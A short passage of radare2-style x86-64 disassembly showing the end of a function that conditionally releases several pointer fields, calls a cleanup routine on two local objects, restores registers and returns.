test rcx, rcx
je 0x18000324a
call fcn.1800099d8
mov qword [rbp + 0x28], rdi
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x18000325c
call fcn.1800099d8
mov qword [rbp + 0x20], rdi
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x18000326e
call fcn.1800099d8
mov qword [rbp + 0x30], rdi
lea rcx, [rbp - 8]
call fcn.180005cb0
lea rcx, [rbp + 0x38]
call fcn.180005cb0
mov rax, rbx
add rsp, 0x30
pop rdi
pop rbx
pop rbp
ret